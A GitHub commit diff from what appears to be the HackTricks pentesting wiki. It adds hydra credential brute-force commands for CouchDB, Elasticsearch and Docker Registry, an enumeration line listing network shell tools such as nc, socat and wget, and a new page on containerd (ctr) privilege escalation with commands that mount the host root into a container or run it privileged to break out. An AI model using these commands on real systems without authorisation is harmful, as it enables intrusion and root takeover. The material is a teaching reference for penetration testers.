Skip to content

Commit 5a0ccf0

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] 423 pages and 2 assets modified
1 parent d1a46cb commit 5a0ccf0

14 files changed

+1335
-10
lines changed

.gitbook/assets/image (172).png

4.59 KB
Loading

.gitbook/assets/image (407).png

4.59 KB
Loading

SUMMARY.md

+5-2
Original file line numberDiff line numberDiff line change
@@ -24,9 +24,9 @@
2424

2525
* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
2626
* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
27-
* [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
27+
* [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
2828
* [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
29-
* [Escaping from a Docker container](linux-unix/privilege-escalation/escaping-from-a-docker-container.md)
29+
* [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md)
3030
* [Escaping from restricted shells - Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
3131
* [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
3232
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
@@ -35,6 +35,8 @@
3535
* [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md)
3636
* [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md)
3737
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
38+
* [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md)
39+
* [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
3840
* [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
3941
* [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
4042
* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
@@ -269,6 +271,7 @@
269271
* [3389 - Pentesting RDP](pentesting/pentesting-rdp.md)
270272
* [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md)
271273
* [4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md)
274+
* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md)
272275
* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md)
273276
* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md)
274277
* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md)

brute-force.md

+8-2
Original file line numberDiff line numberDiff line change
@@ -87,13 +87,19 @@ nmap --script cassandra-brute -p 9160 <IP>
8787
8888
```bash
8989
msf> use auxiliary/scanner/couchdb/couchdb_login
90-
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
90+
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
91+
```
92+
93+
### Docker Registry
94+
95+
```text
96+
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
9197
```
9298
9399
### Elasticsearch
94100
95101
```text
96-
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
102+
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
97103
```
98104
99105
### FTP

linux-unix/privilege-escalation/README.md

+13-1
Original file line numberDiff line numberDiff line change
@@ -166,7 +166,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
166166
Enumerate useful binaries
167167
168168
```bash
169-
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc rkt kubectl 2>/dev/null
169+
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
170170
```
171171
172172
Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it \(or in one similar\)
@@ -521,6 +521,18 @@ Now, you can execute commands on the container from this `socat` connection.
521521

522522
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
523523

524+
### Containerd \(ctr\) privilege escalation
525+
526+
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
527+
528+
{% page-ref page="containerd-ctr-privilege-escalation.md" %}
529+
530+
### **RunC** privilege escalation
531+
532+
If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
533+
534+
{% page-ref page="runc-privilege-escalation.md" %}
535+
524536
## **D-Bus**
525537

526538
D-BUS is an **inter-process communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# Containerd \(ctr\) Privilege Escalation
2+
3+
## Basic information
4+
5+
Go to the following link to learn **what is containerd** and `ctr`:
6+
7+
{% page-ref page="../../pentesting/2375-pentesting-docker.md" %}
8+
9+
## PE 1
10+
11+
if you find that a host contains the `ctr` command:
12+
13+
```bash
14+
which ctr
15+
/usr/bin/ctr
16+
```
17+
18+
You can list the images:
19+
20+
```bash
21+
ctr image list
22+
REF TYPE DIGEST SIZE PLATFORMS LABELS
23+
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
24+
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
25+
```
26+
27+
And then **run one of those images mounting the host root folder to it**:
28+
29+
```bash
30+
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
31+
```
32+
33+
## PE 2
34+
35+
Run a container privileged and escape from it.
36+
You can run a privileged container as:
37+
38+
```bash
39+
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
40+
```
41+
42+
Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**:
43+
44+
{% page-ref page="docker-breakout.md" %}
45+

0 commit comments

Comments
 (0)